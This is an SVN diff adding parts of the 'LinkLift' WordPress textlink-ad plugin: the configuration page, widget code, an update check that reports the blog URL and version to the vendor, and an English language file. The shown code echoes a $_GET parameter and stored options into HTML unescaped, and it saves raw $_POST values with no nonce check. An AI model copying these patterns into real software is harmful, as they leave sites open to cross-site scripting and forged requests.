+ * Saves new values of LinkLift's configuration-page to the Wordress-database, delivered by POST-request.
+ * 
+ * The method gets invoked by the methods linklift_configuration() and widget_linklift_control().
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-05-04
+ * @param $force_saving boolean, an optional parameter, deliver true if you do not want the method to check wether a Wordpress-form has sent the information; default: false.
+ * @return void
+ */
+function ll_update_plugin( $force_saving = false )
+{
+	if (   (isset($_POST['submit']) )
+		|| ($force_saving)   )
+	{
+		// possible values of the LinkLift-plug-in's configuration page
+		$options_array = array(
+								  "linklift_website_key"
+								, "linklift_title"
+								, "linklift_no_css_use_theme"
+								, "linklift_no_html_tags"
+								, "linklift_links_per_row"
+								, "linklift_css_font_size"
+								, "linklift_css_color"
+								, "linklift_css_background_color"
+								);
+		
+		$linklift_website_key = ( (! empty($_POST["linklift_website_key"])) ? ($_POST["linklift_website_key"]) : ("") );
+		
+		
+		foreach ( $options_array as $option )
+		{
+			// checkbox-values may not be delivered if the checkbox was left empty ...
+				// in order to distinguish between forms that did not contain the checkbox and forms where the checkbox was left empty
+				// another hidden field gives us the hint that the field was part of the form and was left empty (on purpose)
+			if (   (in_array($option, array("linklift_no_css_use_theme", "linklift_no_html_tags"), $strict = true))
+				&& (isset($_POST[$option . "_modified"]))
+				&& (! isset($_POST[$option]))   )
+			{
+				$_POST[$option] = 0;
+			} //if
+			
+			if (isset($_POST[$option]))
+			{
+				if ("linklift_website_key" != $option)
+					$option_postfix = "_" . $linklift_website_key;
+				else
+					$option_postfix = "";
+				
+				update_option( $option . $option_postfix, $_POST[$option] );
+			} //if
+		} //foreach($option)
+		
+	} //if
+} //ll_update_plugin()
+
+/**
+ * Saves the latest server-properties (e.g. plugin-version) of the plugin extracted from the received textlink-data-XML-feed.
+ * At this time, the method expects the delivered associative array to contain the following fields:
+ *   - language: the plugin's programming-/code-language
+ *   - version:  the plugin's current version on the LinkLift-server
+ *   - date:     the release-date of the latest plugin's version 
+ * 
+ * The method will ignore empty values (properties).
+ * 
+ * The method gets invoked by the method ll_retrieve_textlink_data_from_xml().
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-10
+ * @param $server_plugin array, associative array containing the plugin's properties / data; default: array().
+ * @return void
+ */
+function ll_save_plugin_data( $server_plugin = array() )
+{
+	if (! empty($server_plugin["language"]))
+		update_option(LL_OPTION_SERVER_LANGUAGE, $server_plugin["language"]);
+	
+	if (! empty($server_plugin["version"]))
+		update_option(LL_OPTION_SERVER_VERSION , $server_plugin["version"]);
+	
+	if (! empty($server_plugin["date"]))
+		update_option(LL_OPTION_SERVER_DATE    , $server_plugin["date"]);
+} //ll_save_plugin_data()
+
+/**
+ * Creates the HTML-code for LinkLift's configuration-page within the Wordpress-admin-menu.
+ * After the user makes changes to the configuration the values will be saved to the Wordpress-database.
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-05-04
+ * @return void
+ */
+function linklift_configuration()
+{
+	LinkLiftPlugin::ll_update_plugin();
+	
+	
+	$fieldset_style        = " BORDER:1px solid #CCC; PADDING:12px";
+	$field_key_style       = " MARGIN-BOTTOM:5px";
+	$field_key_style_tiny  = " MARGIN-BOTTOM:0px";
+	$field_value_style     = " MARGIN-TOP:5px";
+	
+	$field_text_style      = " FONT-FAMILY:'Courier New', Courier, mono; FONT-SIZE:1.5em;";
+	$field_text_style_tiny = " FONT-FAMILY:'Courier New', Courier, mono; FONT-SIZE:1.2em;";
+	
+	$css_top_padding       = " PADDING-TOP:30px; MARGIN-TOP:30px";
+	
+	$field_text_maxlength  = "15";
+	$field_text_size       = "15";
+	
+	
+	if (! empty($_GET["linklift_website_key"]))
+	{
+		$linklift_website_key = $_GET["linklift_website_key"];
+	} else {
+		// loads variable $linklift_website_key
+		$linklift_website_key = LinkLiftPlugin::ll_get_option("linklift_website_key", "");
+		if (empty($linklift_website_key))
+			$linklift_website_key = LinkLiftPlugin::ll_translate( "LINKLIFT_WEBSITE_KEY" );
+		
+	} //if-else
+	
+	
+	// used at least twice:
+	$register_link_to_linklift = '<a href="' . LL_PLUGIN_REGISTER_LINK_URL . '" target="_blank" rel="nofollow">';
+?>
+	
+	<?php if (! empty($_POST) )  :  ?>
+		<div id="message" class="updated fade">
+			<p>
+				<strong>
+					<?php _e("Options saved."); ?>
+				</strong>
+			</p>
+		</div>
+	<?php endif; ?>
+	
+	
+	
+	<div class="wrap">
+		<h2>
+			<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE'); ?>
+		</h2>
+		<div>
+			<p>
+				<?php
+					echo LinkLiftPlugin::ll_translate('LINKLIFT_PLUGIN_DESCRIPTION_1', array($register_link_to_linklift, '</a>') );
+				?>
+			</p>
+			
+			<p>
+				<span style="FONT-WEIGHT:bold;">
+					<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_PLUGIN_DESCRIPTION_2'); ?>
+				</span>
+				<br />
+				
+				<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_PLUGIN_DESCRIPTION_3'); ?>
+			</p>
+			
+			<p>
+				<?php
+					if (LL_WORDPRESS_WIDGETS_INSTALLED)
+						$link_url_to_widgets = LL_WORDPRESS_FILE_WIDGETS . "linklift_website_key=" . $linklift_website_key . "&";
+					else
+						$link_url_to_widgets = "http://automattic.com/code/widgets/";
+					
+					
+					
+					$link_to_widgets      =	  '<a href="' . $link_url_to_widgets . '" target="_self">'
+											.   'Widgets'
+											. '</a>'
+											. '';
+											
+					$linklift_widget_name =	  '<span style="FONT-WEIGHT:bold;">'
+											.   '&quot;'
+											.   LL_PLUGIN_NAME
+											.   '&quot;'
+											. '</span>'
+											. '';
+				?>
+				
+				<span style="FONT-WEIGHT:bold;">
+					<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_INSTALLATION_INSTRUCTIONS_1'); ?>
+				</span>
+				
+			</p>
+			
+			
+			<ol>
+				<li>
+					<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_INSTALLATION_INSTRUCTIONS_2', array($link_to_widgets, $linklift_widget_name) ); ?>
+					<br />
+					<br />
+				</li>
+				
+				<li>
+					<?php
+						$link_to_theme_editor =	  '<a href="' . LL_WORDPRESS_FILE_THEME_EDITOR . '" target="_self">'
+												.   'Themes/Theme-Editor'
+												. '</a>'
+												. '';
+						$code_snippet_to_paste = htmlspecialchars('<?php if (is_callable(array("LinkLiftPlugin", "execute")))  LinkLiftPlugin::execute(); ?>', ENT_QUOTES);
+					?>
+					
+					
+					<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_INSTALLATION_INSTRUCTIONS_3', array($link_to_theme_editor) ); ?>
+					<br />
+					<br />
+					
+					<span style="COLOR:#FF0000; FONT-WEIGHT:bold;">
+						<?php echo $code_snippet_to_paste; ?>
+					</span>
+					<br />
+					<br />
+					
+					<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_INSTALLATION_INSTRUCTIONS_4'); ?>
+				</li>
+			</ol>
+			
+			
+			<p>
+				<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_INSTALLATION_INSTRUCTIONS_5'); ?>
+				<br />
+			</p>
+			
+			
+			
+			
+			<form action="" method="post" id="linklift-conf" style="MARGIN-TOP:30Px;">
+				
+				<fieldset style="<?php echo $fieldset_style; ?>">
+					<legend>
+						<b>
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_HEADLINE_GENERAL'); ?>
+						</b>
+					</legend>
+					
+					
+					<h3 style="<?php echo $field_key_style; ?>">
+						<label for="key">
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_WEBSITE_KEY'); ?>
+						</label>
+					</h3>
+					
+					<p style="<?php echo $field_value_style; ?>">
+						<input id="linklift_website_key" name="linklift_website_key" type="text" size="15" maxlength="15" value="<?php echo $linklift_website_key; ?>" style="<?php echo $field_text_style; ?>" />
+						
+						<?php
+							$linklift_url_linklift_website_key = "http://www.linklift.it/faq/website-key-linklift/?ref=b173a484859";
+						?>
+						(<a href="<?php echo $linklift_url_linklift_website_key; ?>" target="_blank" rel="nofollow">
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_WEBSITE_KEY_EXPLANATION_LINK'); ?>
+						</a>)
+						
+						<div class="description">
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_WEBSITE_KEY'); ?>
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_WEBSITE_KEY_2', array($register_link_to_linklift, '</a>') ); ?>
+						</div>
+					</p>
+					
+					
+					<h3 style="<?php echo $field_key_style; ?>">
+						<label for="key">
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_PLUGIN_HEADLINE'); ?>
+						</label>
+					</h3>
+					
+					<p style="<?php echo $field_value_style; ?>">
+						<input id="linklift_title" name="linklift_title" type="text" size="30" value="<?php echo LinkLiftPlugin::ll_get_option("linklift_title_" . $linklift_website_key, ""); ?>" style="<?php echo $field_text_style; ?>" />
+						
+						<?php
+							$linklift_url_link_marking			= "http://www.linklift.it/faq/link-marking/?ref=b173a484859";
+							$link_to_linklift_faq_link_marking	= '<a href="' . $linklift_url_link_marking . '" target="_blank" rel="nofollow">';
+						?>
+						<div class="description">
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE'); ?>
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE_2', array($link_to_linklift_faq_link_marking, '</a>') ); ?>
+						</div>
+					</p>
+				</fieldset>
+				
+				
+				
+				
+				
+				<fieldset style="<?php echo $fieldset_style; ?> <?php echo $css_top_padding; ?>">
+					<legend>
+						<b>
+							<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_HEADLINE_OPTIONAL'); ?>
+						</b>
+					</legend>
+					
+					<p>
+						<?php
+							echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TEXT_OPTIONAL_VALUES');
+						?>
+					</p>
+					
+					
+					<?php
+						$form = array();
+							
+						$form["linklift_no_css_use_theme"]
+							= array(
+									  "#type"          => "checkbox"
+									, "#default_value" => LinkLiftPlugin::ll_get_option( "linklift_no_css_use_theme_"     . $linklift_website_key , true)
+									, "#title"         => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_NO_CSS')
+									, "#description"   => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_NO_CSS')
+									);
+						
+						$form["linklift_no_html_tags"]
+							= array(
+									  "#type"          => "checkbox"
+									, "#default_value" => LinkLiftPlugin::ll_get_option( "linklift_no_html_tags_"         . $linklift_website_key , false)
+									, "#title"         => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_NO_HTML')
+									, "#description"   => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_NO_HTML')
+									);
+						
+						$form["linklift_links_per_row"]
+							= array(
+									  "#type"          => "select"
+									, "#options"       => array (1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 10 => 10)
+									, "#default_value" => LinkLiftPlugin::ll_get_option( "linklift_links_per_row_"        . $linklift_website_key , 1)
+									, "#title"         => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_LINKS_PER_ROW')
+									, "#description"   => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_LINKS_PER_ROW')
+									);
+						
+						
+						$font_sizes = array();
+						for ($i = 10; $i <= 18; $i++)
+							$font_sizes[$i . "px"] = $i . "px";
+						
+						$form["linklift_css_font_size"]
+							= array(
+									  "#type"          => "select"
+									, "#options"       => $font_sizes
+									, "#default_value" => LinkLiftPlugin::ll_get_option( "linklift_css_font_size_"        . $linklift_website_key , "12px")
+									, "#title"         => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_FONT_SIZE')
+									, "#description"   => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_FONT_SIZE')
+									);
+						
+						$form["linklift_css_color"]
+							= array(
+									  "#type"          => "textfield"
+									, "#size"          => 20
+									, "#maxlength"     => 20
+									, "#default_value" => LinkLiftPlugin::ll_get_option( "linklift_css_color_"            . $linklift_website_key , "")
+									, "#title"         => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_LINK_COLOR')
+									, "#description"   => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_LINK_COLOR')
+									);
+						
+						$form["linklift_css_background_color"]
+							= array(
+									  "#type"          => "textfield"
+									, "#size"          => 20
+									, "#maxlength"     => 20
+									, "#default_value" => LinkLiftPlugin::ll_get_option( "linklift_css_background_color_" . $linklift_website_key , "")
+									, "#title"         => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_BG_COLOR')
+									, "#description"   => LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_BG_COLOR')
+									);
+						
+						
+						foreach ($form as $name => $element)
+						{
+							?>
+							<h5 style="<?php echo $field_key_style_tiny; ?>">
+								<label for="key">
+									<?php echo $element["#title"]; ?>
+								</label>
+							</h5>
+
+							<p style="<?php echo $field_value_style; ?>">
+						<?php
+							
+							$current_value = LinkLiftPlugin::ll_get_option($name . "_" . $linklift_website_key, $element["#default_value"]);
+							
+							
+							switch ($element["#type"])
+							{
+								case ("textfield"):
+								{
+									?>
+									<input type="text" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="<?php echo $current_value; ?>" size="<?php echo ( (isset($element["#size"])) ? ($element["#size"]) : ($field_text_size) ); ?>" maxlength="<?php echo ( (isset($element["#maxlength"])) ? ($element["#size"]) : ($field_text_maxlength) ); ?>" style="<?php echo $field_text_style_tiny; ?>" />
+								<?php
+									
+									break;
+								} //case()
+								
+								case ("select"):
+								{
+									?>
+									<select name="<?php echo $name; ?>" id="<?php echo $name; ?>">
+									<?php	foreach ($element["#options"] as $key => $value) :  ?>
+										<option value="<?php echo $key; ?>" <?php echo ( ($key == $current_value) ? ('selected="selected"') : ('') ); ?>>
+											<?php echo $value; ?>
+										</option>
+									<?php	endforeach;  ?>
+									</select>
+								<?php
+									
+									break;
+								} //case()
+								
+								case ("checkbox"):
+								{
+									?>
+									<input type="checkbox" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="1" <?php echo ( ($current_value) ? ('checked="checked"') : ('') ); ?> />
+									<input type="hidden" name="<?php echo $name; ?>_modified" id="<?php echo $name; ?>_modified" value="1" />
+								<?php
+									
+									break;
+								} //case()
+								
+							} //switch($element["#type"])
+							
+							?>
+								<div class="description">
+									<?php echo $element["#description"]; ?>
+								</div>
+							</p>
+						<?php
+							
+						} //foreach($element)
+						
+					?>
+					
+					
+					<br />
+				</fieldset>
+				
+				
+				
+				<p class="submit" style="text-align:left;">
+					<input type="submit" name="submit" value="<?php _e('Update options &raquo;'); ?>" />
+				</p>
+				
+			</form>
+			
+			
+			<p style="<?php echo $css_top_padding; ?>">
+				LinkLift Plugin 
+					<?php
+						echo '(', LL_PLUGIN_LANGUAGE, ')';
+					?>,
+				Version
+					<?php
+						echo LL_PLUGIN_VERSION;
+					?>
+					<?php
+						echo '(', LL_PLUGIN_DATE, ')';
+					?>.
+				<br />
+				
+				<?php
+					// do you (still) own the latest version?
+					$server_plugin_version = LinkLiftPlugin::ll_get_option( LL_OPTION_SERVER_VERSION, 0 );
+					
+					if ($server_plugin_version > LL_PLUGIN_VERSION)
+						echo LinkLiftPlugin::ll_translate('LINKLIFT_PLUGIN_OUT_OF_DATE');
+					elseif ($server_plugin_version == LL_PLUGIN_VERSION)
+						echo LinkLiftPlugin::ll_translate('LINKLIFT_PLUGIN_UP_TO_DATE');
+				?>
+			</p>
+		</div>
+	</div>
+	
+<?php
+	
+} //linklift_configuration()
+
+/**
+ * Update-hook for the LinkLift-Wordpress-Textlink-plugin.
+ * Checks if there is a newer version of thie plugin available on the LinkLift-server
+ *   and offers a download-link.
+ * Prints data to standard-out if you do not own the latest version of this LinkLift-plugin.
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-02-16
+ * @return void
+ */
+function ll_update_nag()
+{
+	global $wp_version, $pagenow;
+	
+	
+	// update-information of this plugin is only shown on the Wordpress-plugins-page!
+	if (   (false === strpos( strtolower($pagenow)					, "plugins"		))
+		&& (false === strpos( strtolower($_SERVER["REQUEST_URI"])	, "plugins.php"	))   )
+	{
+		return;
+	} //if
+	
+	
+	
+	// the LinkLift-server may have been checked before
+	$server_plugin_version				= LinkLiftPlugin::ll_get_option( LL_OPTION_SERVER_VERSION, 0 );
+	// date of the last check
+	$server_plugin_version_check_date	= LinkLiftPlugin::ll_get_option( LL_OPTION_SERVER_VERSION_CHECK_DATE, 0 );
+	
+	
+	// no need to check more than once a week!
+	if (   (LL_PLUGIN_VERSION >= $server_plugin_version)
+		&& ($server_plugin_version_check_date < strtotime(LL_UPDATE_CHECK_TIMEFRAME))   )
+	{
+		$plugin_info = LinkLiftPlugin::ll_get_current_plugin_info( "WordPress/" . $wp_version . "; " . get_bloginfo("url") );
+		
+		if (   (empty($plugin_info))
+			|| (! isset($plugin_info["plugin_version"]))   )
+		{
+			return;
+		} //if
+		
+		
+		$server_plugin_version = $plugin_info["plugin_version"];
+		
+		// ignore minor updates:
+		$server_plugin_version = round( floor($server_plugin_version * 10) / 10, 1 );
+		
+		LinkLiftPlugin::ll_set_option( LL_OPTION_SERVER_VERSION				, $server_plugin_version );
+		LinkLiftPlugin::ll_set_option( LL_OPTION_SERVER_VERSION_CHECK_DATE	, time() );
+	} //if
+	
+	
+	
+	// a new version of this plugin is available on the LinkLift-server!
+	if (LL_PLUGIN_VERSION < $server_plugin_version)
+	{
+		// is admin user?
+		if ( current_user_can("manage_options") )
+		{
+			$download_url		= LinkLiftPlugin::ll_get_update_plugin_url();
+			$opening_link_tag	= sprintf('<a href="%s">', $download_url);
+			$closing_link_tag	= "</a>";
+			
+			
+			$msg = sprintf( LinkLiftPlugin::ll_translate( "LINKLIFT_PLUGIN_OUT_OF_DATE_COMPLETE_ADMIN", array($opening_link_tag, $closing_link_tag)) );
+			
+		} else {
+			$msg = LinkLiftPlugin::ll_translate( "LINKLIFT_PLUGIN_OUT_OF_DATE_COMPLETE_USER" );
+		} //if-else
+		
+		
+		echo sprintf( '<div id="update-nag">%s</div>', $msg );
+	} //if
+} //ll_update_nag()
+
+
+
+
+/**
+ * The widget-controller (Wordpress-Widget-Plugin) calls this method to generate the plugin's output.
+ * The method extracts the plugin's title out of the Wordpress-database (options-table)
+ *   and calls the plugin's main-function in order to generate your textlinks and the widget's body around.
+ * 
+ * The method is invoked by divcom().
+ * class-method ("static")
+ *
+ * @author tomk32 (Thomas R. Koll), akniep (Andreas Rayo Kniep)
+ * @since 2007-03-06
+ * @param $args array, an associative array delivered by the Wordpress Plugin 'Wordpress Widgets'
+ * @return void, the widget's body including your textlinks is written to standard-out
+ */
+function widget_linklift_main( $args )
+{
+	// extracts out of the given array of parameters the variables that are used below
+	extract($args);
+	
+	
+	$linklift_plugin_instance	=& LinkLiftPlugin::getInstance();
+	$generated_html_code		=  $linklift_plugin_instance->ll_textlink_code( $return = true );
+	
+	
+	// if there is no content at this time the widget will not display anything.
+	if (empty($generated_html_code))
+		return;
+	
+	
+	$linklift_website_key		= $linklift_plugin_instance->getWebsiteKey();
+	
+	$linklift_title				= LinkLiftPlugin::ll_get_option("linklift_title_" . $linklift_website_key, "");
+	
+	
+	echo	  $before_widget
+			, "\n"
+			, $before_title
+			, $linklift_title
+			, $after_title
+			
+			, $generated_html_code
+			
+			, $after_widget;
+} //widget_linklift_main()
+
+/**
+ * The method generates an interface for editing the plugin's attributes / perameters.
+ * At this time you can only manipulate the widget's title.
+ * 
+ * The method is invoked by the widget-controller.
+ * class-method ("static")
+ *
+ * @author tomk32 (Thomas R. Koll), akniep (Andreas Rayo Kniep)
+ * @since 2007-03-06
+ * @return void, the interface is directly outputted to your website
+ */
+function widget_linklift_control()
+{
+	LinkLiftPlugin::ll_update_plugin($force_saving = TRUE);
+	
+	
+	$field_key_style_tiny  = " MARGIN-BOTTOM:0px";
+	$field_value_style     = " MARGIN-TOP:5px";
+	$field_text_style_tiny = " FONT-FAMILY:'Courier New', Courier, mono; FONT-SIZE:1.2em;";
+	$field_text_maxlength  = "15";
+	$field_text_size       = "15";
+	
+	
+	if (! empty($_GET["linklift_website_key"]))
+	{
+		$linklift_website_key = $_GET["linklift_website_key"];
+	} else {
+		// loads variable $linklift_website_key
+		$linklift_website_key = LinkLiftPlugin::ll_get_option("linklift_website_key", "");
+		if (empty($linklift_website_key))
+			$linklift_website_key = LinkLiftPlugin::ll_translate( "LINKLIFT_WEBSITE_KEY" );
+		
+	} //if-else
+	
+?>
+	<?php
+		if (LL_LINKLIFT_CONFIGURATION_PAGE)  :
+		
+		$link_to_configuration =	  '<a href="' . LL_LINKLIFT_CONFIGURATION_PAGE . 'linklift_website_key=' . $linklift_website_key . '&" target="_self">'
+									.   'LinkLift'
+									. '</a>'
+									. '';
+		$linklift_widget_name =	  '<span style="FONT-WEIGHT:bold;">'
+								.   LL_PLUGIN_NAME
+								. '</span>'
+								. '';
+	?>
+		<p>
+			<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_WIDGETS_CONFIG_REMARK', array($link_to_configuration) ); ?>
+			<br />
+			<br />
+		</p>
+	<?php
+		endif;
+	?>
+	
+	<h5 style="<?php echo $field_key_style_tiny; ?>">
+		<label for="key">
+			<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TITLE_PLUGIN_HEADLINE'); ?>
+		</label>
+	</h5>
+
+	<p style="<?php echo $field_value_style; ?>">
+		<input id="linklift_website_key" name="linklift_website_key" type="hidden" value="<?php echo( $linklift_website_key ); ?>" />
+		<input id="linklift_title" name="linklift_title" type="text" value="<?php echo LinkLiftPlugin::ll_get_option("linklift_title_" . $linklift_website_key, ""); ?>"  size="<?php echo ( (isset($element["#size"])) ? ($element["#size"]) : ($field_text_size) ); ?>" maxlength="<?php echo ( (isset($element["#maxlength"])) ? ($element["#size"]) : ($field_text_maxlength) ); ?>" style="<?php echo $field_text_style_tiny; ?>" />
+		
+		<div class="description">
+			<?php echo LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE'); ?>
+		</div>
+	</p>
+<?php
+	
+} //widget_linklift_control()
+
+/**
+ * The method registers the LinkLift-plugin (-widget) with your widget-controller.
+ * The widget controller is realised by the "Wordpress Widget-Plugin".
+ * 
+ * The method is invoked by the widget-controller, the action is added at the end of this plugin.
+ * class-method ("static")
+ *
+ * @author tomk32 (Thomas R. Koll), akniep (Andreas Rayo Kniep)
+ * @since 2007-03-06
+ * @return void
+ */
+function widget_linklift_init()
+{
+	if (   (! function_exists( "register_sidebar_widget" ))
+		|| (! function_exists( "register_widget_control" ))    )
+		return;
+	
+	register_sidebar_widget( LL_PLUGIN_NAME, LL_PLUGIN_NAME );
+	register_widget_control( LL_PLUGIN_NAME, array("LinkLiftPlugin", "widget_linklift_control") );
+} //widget_linklift_init()
+
+
+
+} // class LinkLiftPlugin
+
+} //if (! class_exists("LinkLiftPlugin"))
+
+
+if (! function_exists("divcom"))
+{
+
+/**
+ * The widget-controller (Wordpress-Widget-Plugin) calls this method to generate the plugin's output.
+ * This method wraps the plugin's widget-main-method LinkLiftPlugin::widget_linklift_main()
+ *   in order to generate the widget's content.
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-02
+ * @param $args array, an associative array delivered by the Wordpress Plugin 'Wordpress Widgets'
+ * @return void
+ */
+function divcom( $args )
+{
+	return LinkLiftPlugin::widget_linklift_main( $args );
+} //divcom()
+
+} //if (! function_exists("divcom"))
+
+
+
+
+
+if (is_callable("LinkLiftPlugin", "check_request"))
+	LinkLiftPlugin::check_request($check_this_file = true);
+
+// registering the LinkLift-plugin (mainly its configuration-page(s)) with the Wordpress-admin-menu
+add_action( "init"			, array("LinkLiftPlugin", "linklift_init") );
+// registering the LinkLift-widget with the widget-controller ("Wordpress Widget-Plugin")
+add_action( "widgets_init"	, array("LinkLiftPlugin", "widget_linklift_init") );
+
+
+// LinkLift-Update-Feature, introduced in Plugin v1.5 - Note: only working with Wordpress version v2.0.2 or above
+add_action( "admin_notices"	, array("LinkLiftPlugin", "ll_update_nag") );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom_lang_en.inc.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom_lang_en.inc.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom_lang_en.inc.php	(revision 44)
@@ -0,0 +1,98 @@
+<?php
+
+/** ******************************************************
+ *  @version 1.5                                         *
+ *  @author  Andreas Rayo Kniep (www.linklift.de)        *
+ *  @date    2007-05-04,2007-06-10                       *
+ *                                                       *
+ *  english language file                                *
+ ** **************************************************** */
+
+
+// LinkLift's own configuration page
+// -------------------------------------
+@define( 'LINKLIFT_CONFIG_TAB_TITLE'					, 'LinkLift Configuration' );
+@define( 'LINKLIFT_CONFIG_TITLE'						, 'LinkLift Plugin Configuration' );
+
+@define( 'LINKLIFT_PLUGIN_DESCRIPTION_1'				, 'LinkLift is a marketplace for textlink advertising. For every textlink we sell on your blog you earn a fixed amount of money each month - independent of pageviews and click-rates. %sRegister now%s.' );
+@define( 'LINKLIFT_PLUGIN_DESCRIPTION_2'				, 'Functionality of the LinkLift-Plugin:' );
+@define( 'LINKLIFT_PLUGIN_DESCRIPTION_3'				, 'The LinkLift plugin automatically connects to the LinkLift-server, downloads your current textlink ads, and saves them into the Options-table of your Wordpress-database (&#039;wp_options&#039;).' );
+
+
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_1'			, 'There are 2 options to place the LinkLift-Plugin on your website.' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_2'			, 'Go to the menu %s, position the widget %s on the sidebar using drag &amp; drop, and click the button &quot;Save changes&quot;.  (For Wordpress-versions before 2.1 the Widgets-plugin is required. Furtermore, your theme has to support widgets.)' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_3'			, 'Go to the menu %s, click on the right side on &quot;Sidebar&quot;, and enter the following code at the exact location where you want the textlinks to be displayed:' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_4'			, 'Note that the sidebar file needs to be writable. Also, make sure you are not adding our code into an if-block.' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_5'			, 'In general, we recommend a seamless integration within you content.' );
+
+@define( 'LINKLIFT_CONFIG_TEXT_OPTIONAL_VALUES'			, 'Using the following options you can modify the appearance of the textlinks. LinkLift recommends using the CSS-formatting of the theme of your blog so the textlinks fit nicely into the overall look and feel of your site.' );
+// -------------------------------------
+
+
+@define( 'LINKLIFT_INTERNAL_NOTE_NO_CSS'				, 'This option is invalid if you chose to use the CSS-formatting of your theme!' );
+@define( 'LINKLIFT_INTERNAL_NOTE_NO_HTML'				, 'This option is invalid if you chose not to use HTML-tags!' );
+@define( 'LINKLIFT_INTERNAL_NOTE_NO_CSS_OR_HTML'		, 'This option is invalid if you chose to use the CSS-formatting of your theme or if you chose not to use HTML-tags!' );
+
+
+
+
+// actual configuration titles and description-texts
+// -------------------------------------
+@define( 'LINKLIFT_CONFIG_HEADLINE_GENERAL'				, 'General Settings' );
+@define( 'LINKLIFT_CONFIG_HEADLINE_OPTIONAL'			, 'Optional Settings' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_WEBSITE_KEY'			, 'LinkLift-Website-Key' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_WEBSITE_KEY'		, 'The LinkLift-Website-Key identifies your website on the LinkLift-marketplace. If you have downloaded the plugin from the LinkLift-website this value is pre-configured.' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_WEBSITE_KEY_2'	, 'If you are not yet registered to use LinkLift you can do so %shere%s.' );
+@define( 'LINKLIFT_WEBSITE_KEY_EXPLANATION_LINK'		, 'What is this?' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_PLUGIN_HEADLINE'		, 'Plugin-Headline' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE'	, 'The plugin-headline is the headline of the LinkLift block just above the textlinks.' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE_2', 'Depending on how you label the links (either as advertising, or as editorial content), we will classify your site accordingly (advertising textlinks vs. editorial textlinks) on the LinkLift marketplace. For more information on how to optimally label your textlinks %sclick here%s.' );
+
+
+
+@define( 'LINKLIFT_CONFIG_TITLE_NO_CSS'					, 'Use Theme Formatting' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_NO_CSS'			, 'If you activate this option the LinkLift-module will use the CSS-styles of your themes. If not, the LinkLift-module will use its own CSS.' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_NO_HTML'				, 'Clean Textlinks (without HTML)');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_NO_HTML'			, 'If you activate this option the LinkLift-module will generate textlinks without the surrounding HTML-tags. If not HTML-tags will be used.');
+
+@define( 'LINKLIFT_CONFIG_TITLE_LINKS_PER_ROW'			, 'Textlinks per Row');
